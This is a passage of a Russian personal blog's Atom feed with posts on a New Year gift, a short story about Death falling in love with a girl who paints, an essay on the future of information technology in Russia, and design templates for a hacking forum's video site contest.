<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4201466663544641787</id><updated>2012-01-27T11:40:56.241+04:00</updated><category term='Логика'/><category term='Программирование'/><category term='Другое'/><category term='Исходники'/><category term='Дизайн'/><category term='Взлом'/><category term='Linux'/><category term='Программы'/><category term='Видео'/><category term='Технологии'/><category term='Web скитания'/><category term='Рассказы'/><title type='text'>Kerny</title><subtitle type='html'>Наука и высокие технологии</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://kerny.ru/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://kerny.ru/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>67</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1583906561622900111</id><published>2012-01-07T15:10:00.000+04:00</published><updated>2012-01-07T15:10:32.383+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>Вот такой вот подарок</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;a href="http://4.bp.blogspot.com/-bUcehCd5SK8/TwgmpnvJWyI/AAAAAAAAAYE/XgecxlFQ0TA/s1600/1dfe23d35158.jpg" imageanchor="1" style="clear: left; display: inline-block; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-bUcehCd5SK8/TwgmpnvJWyI/AAAAAAAAAYE/XgecxlFQ0TA/s320/1dfe23d35158.jpg" width="240" /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/-SXBhGqb6C5Q/TwgmrvgEHPI/AAAAAAAAAYM/QSyzVOb1Wwo/s1600/7fa940b80eee.jpg" imageanchor="1" style="clear: left; display: inline-block; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-SXBhGqb6C5Q/TwgmrvgEHPI/AAAAAAAAAYM/QSyzVOb1Wwo/s320/7fa940b80eee.jpg" width="240" /&gt;&lt;/a&gt;&lt;/div&gt;Вот такой вот подарок пришел на Новый год. Это авторский сборник рассказов с официального форума С.В Лукъяненко. Между прочим, там и мое творение есть - "Однажды..." называется. Очень приятно, спасибо ребятам за подарок.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1583906561622900111?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1583906561622900111/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2012/01/blog-post.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1583906561622900111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1583906561622900111'/><link rel='alternate' type='text/html' href='http://kerny.ru/2012/01/blog-post.html' title='Вот такой вот подарок'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-bUcehCd5SK8/TwgmpnvJWyI/AAAAAAAAAYE/XgecxlFQ0TA/s72-c/1dfe23d35158.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-4574167410647500189</id><published>2011-12-31T18:26:00.000+04:00</published><updated>2011-12-31T18:36:33.540+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>С новым годом!</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-rbI5gUmHPqQ/Tv8UpjE6HYI/AAAAAAAAAX8/3IZ-3pLgRWI/s1600/%25D0%2594%25D1%2580%25D0%25B0%25D0%25BA%25D0%25BE%25D0%25BD%25D0%25B8%25D1%2589%25D0%25B5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="226" src="http://4.bp.blogspot.com/-rbI5gUmHPqQ/Tv8UpjE6HYI/AAAAAAAAAX8/3IZ-3pLgRWI/s320/%25D0%2594%25D1%2580%25D0%25B0%25D0%25BA%25D0%25BE%25D0%25BD%25D0%25B8%25D1%2589%25D0%25B5.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Поздравляю всех читателей и посетителей моего блога с Новым годом! Ура! Посмотрел другие блоги, многие начинают подводить итоги прошедшего года. Что же пожалуй и я их подведу. Хотя нет, как-то не охото... &lt;br /&gt;Всем удачи! Пока.&lt;br /&gt;Кстати читайте мой рассказ "Радуга из снега", в предыдущем посте. Надеюсь, кто-нибудь поймет его смысл... Да, и оставляйте комментарии, а то по статистике блог не плохо посещают, а коменты не пишут. Вот так вот.&lt;br /&gt;&lt;br /&gt;P.S газетку все в туже шарагу рисовал.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-4574167410647500189?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/4574167410647500189/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/12/blog-post_1127.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4574167410647500189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4574167410647500189'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/12/blog-post_1127.html' title='С новым годом!'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-rbI5gUmHPqQ/Tv8UpjE6HYI/AAAAAAAAAX8/3IZ-3pLgRWI/s72-c/%25D0%2594%25D1%2580%25D0%25B0%25D0%25BA%25D0%25BE%25D0%25BD%25D0%25B8%25D1%2589%25D0%25B5.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-6840280367400683547</id><published>2011-12-31T13:50:00.001+04:00</published><updated>2011-12-31T13:50:25.687+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Рассказы'/><title type='text'>Радуга из снега</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div style="text-align: right;"&gt;&lt;span style="font-size: 21px;"&gt;&lt;span class="bbc_center"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="bbc_right"&gt;Осталось немного до лета,&lt;br /&gt;Ради людей любите планету!&lt;br /&gt;В ножны вложите мечи,&lt;br /&gt;В прах разнесите  чужие мечты!&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Дневник Смерти запись две тысячи семьсот пятьдесят третья. &lt;br /&gt;&lt;i class="bbc"&gt;«О радуге из снега».&lt;/i&gt;&lt;br /&gt;Сегодня.&lt;br /&gt;Еще ночью вся улица покрылась изморозью. Теперь же, с наступлением утра и пробуждением ото сна солнца, шел снег. Колючий и холодный, пушистый и разноцветный. Он искрился в лучах светила, играл в солнечные зайчики,  покрывал деревья белой бахромой и непривычно скрипел под ногами.&lt;br /&gt;- Папа-папа смотри радуга из снега! – радостно выкрикнула маленькая девочка в вязаной шапочке, дергая своего отца за край рукава, - почему снег, который падает разноцветный, а тот который уже упал белый?&lt;br /&gt;Отец нахмурился, потом улыбнулся и сказал, поправляя рукав:&lt;br /&gt;- Он не разноцветный, это тебе так кажется.&lt;br /&gt;- Не разноцветный? - огорчилась девочка, - почему… – с этими словами она подбежала к ближайшему сугробу и, загребая снег в ладошки начала подбрасывать его в воздух. Вокруг все зазвенело и заискрилось.&lt;br /&gt;- Вот видишь! – с восторгом в глазах кричала девочка, - радуга из снега!&lt;br /&gt;&lt;br /&gt;Дневник Смерти запись про черепаху.&lt;br /&gt;&lt;i class="bbc"&gt;«О зимней черепахе».&lt;/i&gt;&lt;br /&gt;Сегодня.&lt;br /&gt;Учитель с интересом рассматривал рисунок. На бумаге не умело заляпанной краской, проступали линии напоминающие черепаху.&lt;br /&gt;- Катерина, что у тебя нарисовано? - спросил учитель, высматривая среди учеников веснушчатое лицо с широко распахнутыми серыми глазами.&lt;br /&gt;- Ну, - замялась  Катя, - это зимняя черепаха, учитель.&lt;br /&gt;- Почему зимняя? Больше напоминает летнюю, вот цветы, трава, деревья, солнце.&lt;br /&gt;- Потому, что зимняя черепаха, очень любит лето и никогда его не видела. - Ответила девочка, посмотрев в глаза учителю. - Она постоянно мечтает о нем и видит его, когда спит.&lt;br /&gt;- Очень интересно, - сказал учитель, - а как бы ты нарисовала летнюю черепаху?&lt;br /&gt;- Никак, - ответила Катя, - потому я и нарисовала зимнюю, а летнюю, если ему хочется, пускай рисует, кто-нибудь еще.&lt;br /&gt;Учитель поправил очки, улыбнулся и произнес:&lt;br /&gt;-Знаешь Катя, мне кажется, ты можешь стать настоящим художником.&lt;br /&gt;&lt;br /&gt;&lt;i class="bbc"&gt;Она любила рисовать. В разнобой мешать не сочетаемые цвета. Малевать красками без всякой цели…&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Дневник Смерти запись оставленная летом. &lt;br /&gt;&lt;i class="bbc"&gt; «О девушке».&lt;/i&gt;&lt;br /&gt;Сегодня.&lt;br /&gt;Однажды она шла рядом с летом, неся упаковку красок и маленький мольберт. С деревьев падал тополиный пух, белый и пушистый, голубой и оранжевый, цветной как радуга, яркий как солнце. Она увидела меня и остановилась, я посмотрел ей в глаза. Затем она сказала:&lt;br /&gt;- Привет.&lt;br /&gt;- Здравствуй, - ответил я растерянно и отвел взгляд, - странно, что ты меня видишь.&lt;br /&gt;- А другие, что не видят?&lt;br /&gt;- Нет. Совсем нет, - ответил я.&lt;br /&gt;- Так вот вы, какой на самом деле…- она заколебалась, - Я знала, что что-то неправильно рисую.&lt;br /&gt;- А по-моему у тебя очень похоже, получается, - сказал я.&lt;br /&gt;- Нет.… Не так разноцветно, как нужно, - задумчиво проговорила она, - вы ярче и цветнее.&lt;br /&gt;- Зачем тебе это надо? – недоумевая, спросил я.&lt;br /&gt;- Неважно… мечта у меня может быть такая.&lt;br /&gt;- Мечта? - произнес я, - это как?&lt;br /&gt;Она молчала. На зеленую липу, стоящую неподалеку, присел атласно-черный, переливающийся различными цветами скворец и запел веселую трель. Резкий порыв ветра хороводом завертел в воздухе тополиный пух.&lt;br /&gt;- Это когда, что-то недостижимое… Чего ты одновременно хочешь и боишься.&lt;br /&gt;Я взглянул в ее глаза, такие светлые и живые, серьезные и наивные.&lt;br /&gt;- Так, что же ты, получается, боишься меня?&lt;br /&gt;- Нет, не очень. Скорее не тебя.&lt;br /&gt;- А чего же тогда, - спросил я, наблюдая за пушистым, цветным хороводом.&lt;br /&gt;- Боюсь, что когда-нибудь, моя мечта сбудется.&lt;br /&gt;Скворец, сидевший на дереве, недовольно завертел головой,  встрепенулся и полетел прочь.&lt;br /&gt;- Хорошее у тебя лето, - произнес я невпопад. – Пошли я угощу тебя кьянти.&lt;br /&gt;&lt;br /&gt;&lt;i class="bbc"&gt;Дневник Смерти, заметка на полях.&lt;br /&gt;Интересно, к чему бы все это? Странные  люди. Непонятно, зачем вообще тогда мечтать.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Дневник Смерти запись три тысячи.&lt;br /&gt;&lt;i class="bbc"&gt; «О черных каракулях на белом листе бумаги,  о замысловатых линиях на шероховатом холсте».&lt;/i&gt;&lt;br /&gt;Сегодня.&lt;br /&gt;Она рисовала меня. Никто еще этого не делал, никогда. Мне нравились ее цветные фломастеры, карандаши и расплывчатая акварель: &lt;br /&gt;- Ты можешь не дергаться из стороны в сторону, - недовольно сказала она. - Выбери себе точку, смотри в нее и не отвлекайся. Так мне очень сложно тебя рисовать.&lt;br /&gt;- Тебе не кажется это плохой идеей? &lt;br /&gt;- Что именно? – спросила Катерина.&lt;br /&gt;- Рисовать меня.&lt;br /&gt;- Нет, не кажется, по-моему, выходит довольно здорово, - произнесла она.&lt;br /&gt;- Знаешь, я вот, что хотел спросить.&lt;br /&gt;- Что? – произнесла она, в очередной раз, макая кисть в акварель.&lt;br /&gt;- По поводу того дня, когда ты видела радугу из снега.&lt;br /&gt;- Ты был там…&lt;br /&gt;- Иначе, ни как - сказал я, и у нее на лице возникла грустная улыбка.&lt;br /&gt;- Первое и последнее, что я помню – снег, не разноцветный, не цветной, не красочный, а белый. Белый без всяких причуд. Холодный,  колючий и тусклый. Не сказочный, не волшебный просто белый. « Посмотри радуга из снега!  Белая радуга из белого снега…».  Ты не волнуйся, - промолвила она, заметив мое смятение. – Это было давно и теперь уже совсем не грустно. &lt;br /&gt;Она некоторое время размышляла, затем сообщила:&lt;br /&gt;- Хватит о прошлом. Я хочу прогуляться вдоль Невы, попить горячего шоколада, посмотреть, как разводят мосты. Тебя, - она улыбнулась, - я могу дорисовать и позже.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b class="bbc"&gt;&lt;span class="bbc_center"&gt;***&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;Наступила ночь, город засветился разноцветными огнями. Мириадами огней, окнами домов и дорожными фонарями, неоновыми вывесками и яркими елочными игрушками, искрами на снегу и блёстками на платьях. Мы неторопливо шли по мостовой. Недалеко, метрах в пяти, кувыркался в сугробе щенок.&lt;br /&gt;- Катя, - произнес я.&lt;br /&gt;- Чего? – ответила девушка и резвящаяся рядом собачонка замерла, с удивлением посмотрев на девушку.&lt;br /&gt;Я засмеялся,  представляя, как все это выглядит со стороны. – Молодая, улыбчивая девушка в сером пальто идет, жестикулирует и что-то с энтузиазмом рассказывает сама себе.&lt;br /&gt;- Ну, чего тебе, - переспросила Катя.&lt;br /&gt;- Смешно, это, наверное, со стороны выглядит, вот чего, - пробормотал я.&lt;br /&gt;Оказывается, смерть тоже умеет мечтать. Заплетать красивые косички и завязывать строгий галстук. Любить…? &lt;br /&gt;&lt;br /&gt;&lt;i class="bbc"&gt;Истерзанное и избитое людьми слово, обыденное донельзя?&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Я повернулся к Кате, заглянул в глаза. Повалил пушистый снег, большими ватными хлопьями падая на холодную брусчатку, облепляя со всех сторон близстоящие фонари и автомобили. &lt;br /&gt;- Извини, я должен идти, - бросил я и быстрым шагом пошел прочь.&lt;br /&gt;Еще некоторое время я чувствовал ее взгляд в спину. Растерянность и замешательство, недоумение и обиду, а затем глубокую задумчивость. Эта была ночь, когда родилась и умерла мечта…&lt;br /&gt;Смерть, которая умеет любить и мечтать. Жить. Что может быть печальней?&lt;br /&gt;&lt;br /&gt;Эпилог.&lt;br /&gt;Рисуй девочка, рисуй… Замысловатые линии на шероховатом холсте, черные каракули на белом листе бумаги. Рисуй и не бойся, я совсем не страшен. Когда-нибудь я приду и к тебе, но вовсе не для черно-белых картинок. Просто для того чтобы-бы заглянуть в глаза. Заглянуть и увидеть, как гаснет, то самое, неведомое, непонятное и прекрасное. &lt;br /&gt;&lt;br /&gt;&lt;i class="bbc"&gt;14 декабря 2011 г.&lt;/i&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: right;" trbidi="on"&gt;&lt;i&gt;by Kerny&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-6840280367400683547?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/6840280367400683547/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/12/blog-post_31.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6840280367400683547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/6840280367400683547'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/12/blog-post_31.html' title='Радуга из снега'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-8150735290448612280</id><published>2011-12-23T20:33:00.000+04:00</published><updated>2011-12-23T20:35:52.468+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Технологии'/><title type='text'>Перспективы развития ИКТ в России</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Развитие информационных систем в двадцатом веке, совершенно преобразило мир в двадцать первом. В наше время совершенно не обязательно ходить по пыльным библиотекам, в поисках экзотических книг. Днями, а то и неделями ждать ответа на отправленное письмо. Загромождать офисное пространство, горами из видеокассет и тетрадями с заметками. Заниматься проявкой пленочных фотографий, в темной комнате. Бегать к другу, живущему через улицу, чтобы спросить домашнее задание.&lt;br /&gt;&lt;br /&gt;Поход в библиотеку с легкостью заменит интернет. Постоянную проверку ящика для почты, email-месседжер. Всю необходимую для работы информацию сохранит компьютер. Фотографии напечатает принтер, а домашнее задание поможет узнать Skype.&lt;br /&gt;&lt;br /&gt;Прелести прогресса преследуют нас повсюду и неустанно. На работе, вовремя учебы и отдыха. Куда бы мы ни отправились. Информационные технологии плотно вошли в нашу жизнь&amp;nbsp; и укоренились там навсегда. Можно выделить несколько основных аспектов и направлений развития информационно-коммуникационных технологий.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Услуга, через интернет.&lt;/b&gt;&lt;br /&gt;«Оформление документов и покупка через интернет. Стань в онлайн-очередь за документами и получи их по расписанию. Долой бюрократическую волокиту».&lt;br /&gt;&lt;br /&gt;Прежде всего, доступ к услугам через internet, позволяет сэкономить финансовые средства федеральных и региональных бюджетов, а также финансы самих граждан (к примеру, введение системы онлайн-обработки очереди за получением паспорта, существенно снизит затраты на саму процедуру и поможет избежать огромной бюрократической волокиты). В ближайшем будущем Российское правительство планирует расширить спектр услуг, получаемых при помощи удаленного доступа. В основном речь идет о&amp;nbsp; муниципальных, медицинских,&amp;nbsp; финансовых и образовательных услугах (с этой целью был запущен проект gosuslugi.ru)&lt;br /&gt;&lt;br /&gt;То, что для рядового европейца или американца, является обыденностью, у нас в стране воспринимается чуть ли не с благоговейным трепетом. Для флегматичных жителей запада, обычным делом является покупка через internet (будь-то самые тривиальные продукты питания, книга, высокопроизводительный компьютер, или ipod), оплата коммунальных услуг и услуг мобильной связи. Спросите себя или своих знакомых, как часто они покупали «услуги» через интернет? У подавляющего большинства россиян, ответ будет вполне очевиден. &lt;br /&gt;&lt;br /&gt;С социально-экономической точки зрения, оказание услуг через интернет является очень выгодной и практичной сферой деятельности, причем это касается не только продаж. После бурных 90-ых (а возможно еще раньше) у россиян совершенно иссяк лимит доверия к государству, к различным фирмам и корпорациям (достаточно вспомнить финансовую пирамиду Мавроди). России нужен бренд, что-то вроде Google, Yahoo! или Ebay. Кто-то воскликнет и с пеной у рта начнет доказывать, что у нас есть Yandex, Rambler и что-нибудь еще, что сможет припомнить. Все просто, Яндекс и Рамблер - это далеко не бренды. Достаточно взглянуть на долю, которую они занимают на мировом рынке.&lt;br /&gt;&lt;br /&gt;Развитие технологий удаленного доступа к «услугам» в России, происходит не равномерно. Частные организации и бизнес предприятия в принципе неплохо справляются со своими задачами. А вот государственный аппарат начисто лишен концепции интернет взаимодействия с гражданами и фирмами. Государственной власти по- прежнему требуется большое количество «бумаги». Граждане вынуждены ждать своей очереди, таскать в «большой папке», все необходимые документы, бороться с коррупцией. Когда все это можно грамотно организовать с помощью хорошо продуманной информационной системы. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Работа, как услуга.&lt;/b&gt;&lt;br /&gt;«Работа, через интернет. Получай зарплату с чистой совестью. Забудь про надоедливого начальника».&lt;br /&gt;&lt;br /&gt;С повсеместным развитием интернета, среди специалистов приобрел популярность такой вид деятельности, как фриланс.&lt;br /&gt;Фрила́нсер (англ. freelancer — вольный копейщик, свободный копьеносец, наёмник; в переносном значении — вольный художник) — человек, выполняющий работу без заключения долговременного договора с работодателем, нанимаемый только для выполнения определённого перечня работ. Будучи вне постоянного штата какой-либо компании, фрилансер может одновременно выполнять заказы для разных клиентов. &lt;br /&gt;Фриланс наиболее распространён в таких областях деятельности, как программирование и дизайн (архитектура, веб-дизайн, реклама), юридическая консультация, журналистика (копирайтинг, сочинение слоганов, названий, стихов, инструкций и т.п.). Как правило, работодатель связывается с фрилансером по средствам сети internet. Заказчик получает готовый проект, а фрилансер гонорар. При этом личной встречи между двумя сторонами не происходит.&lt;br /&gt;&lt;br /&gt;Фриланс уже открыл принципиально новый уровень взаимодействия работодателя и работника. Его дальнейшее развитие может привести к совершенно новой организации не только Российского, но и мирового рабочего пространства.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Концепция «живых-предметов».&lt;/b&gt;&lt;br /&gt;«Взаимодействие между предметами. Пропал срок годности у продукта? Значит, робот должен его дематериализовать».&lt;br /&gt;Смысл данной концепции заключается, в том, что каждый существующий объект или предмет в жизненном пространстве человека, делается «живым». То есть буквально во все, что окружает человека, встраивается микроэлектронный чип. Это делает предметы интерактивными. Они могут взаимодействовать друг с другом, отправлять сообщения о своем состоянии&amp;nbsp; другим объектам. Например, каждый пешеходный переход можно оснащать системами, которые сообщают подъезжающему автомобилю (автомобиль, соответственно тоже должен иметь интеллектуальный чип) свободен проезд или нет. Если на переходе или рядом есть люди, то машина, предварительно должна сбросить скорость. Таким же образом можно заставить машины «видеть» друг друга и заблаговременно избегать ДТП.&lt;br /&gt;&lt;br /&gt;Большое значение концепция «живых предметов» будет иметь в роботехнике. Именно с помощью нее роботы смогут ориентироваться в окружающем пространстве, а также оказывать помощь всем кому она требуется. При этом роботы могут иметь централизованную систему управления: один сервер, к которому по сети подключены&amp;nbsp; десятки, а то и сотни железных помощников.&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Безопасность.&lt;/b&gt;&lt;br /&gt;«Взломай главный сервер и получи контроль над армией роботов».&lt;br /&gt;&lt;br /&gt;Информационные технологии – это бесспорно очень перспективная «вещь». Все те радости, которые она принесла и принесет человечеству в будущем, очень нужны. Но следуют помнить, что любую технологию, создаваемую с самыми мирными целями, можно использовать совершенно не по назначению. Достаточно вспомнить к чему привели исследования Роберта Оппенгеймера. Поэтому любую достаточно интеллектуальную информационную систему, следует надежно защищать от вторжений и взлома.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;i&gt;by&amp;nbsp; Kerny&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-8150735290448612280?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/8150735290448612280/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/12/blog-post.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8150735290448612280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8150735290448612280'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/12/blog-post.html' title='Перспективы развития ИКТ в России'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1641215749560588370</id><published>2011-10-09T19:22:00.000+04:00</published><updated>2011-10-09T19:22:52.512+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Дизайн'/><title type='text'>Дизайн для Ачата, версия 2.0</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Проснулся сегодня с утра и понял, что в прошлый раз я нарисовал не дизайн (я про шаблон для видео-ачата), а какую-то пародию на него, причем еще и на конкурс умудрился его выставить. Короче говоря, результатом моих новых изысканий стала еще одна партия шаблонов, дабы исправить свои предыдущие ошибки. Причем реализовал в двух цветовых решениях.&lt;br /&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-YfybcPW8PaM/TpG5jjhVkgI/AAAAAAAAAW8/NfvndBXy_W0/s1600/antichat+-+1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://3.bp.blogspot.com/-YfybcPW8PaM/TpG5jjhVkgI/AAAAAAAAAW8/NfvndBXy_W0/s320/antichat+-+1.jpg" width="218" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Для истинных ачатовцев и любителей "Матрицы", которые любят зелено-темную гамму:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-oAH9RVGRZUg/TpG51SLRZRI/AAAAAAAAAXA/qwxDrPQzLrI/s1600/antichat+-+2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-oAH9RVGRZUg/TpG51SLRZRI/AAAAAAAAAXA/qwxDrPQzLrI/s320/antichat+-+2.jpg" width="218" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;По моему, лучше чем в прошлый вышло.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1641215749560588370?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1641215749560588370/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/10/20.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1641215749560588370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1641215749560588370'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/10/20.html' title='Дизайн для Ачата, версия 2.0'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-YfybcPW8PaM/TpG5jjhVkgI/AAAAAAAAAW8/NfvndBXy_W0/s72-c/antichat+-+1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-607611046978890294</id><published>2011-09-29T20:32:00.000+04:00</published><updated>2011-10-10T14:18:35.874+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Дизайн'/><title type='text'>Дизайн для видео-античата</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Решил поучаствовать в конкурсе на antichat'е, на лучший дизайн дочернего сайта video-antichat. Очень хотелось бы выиграть, и не только из-за призового фонда.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" 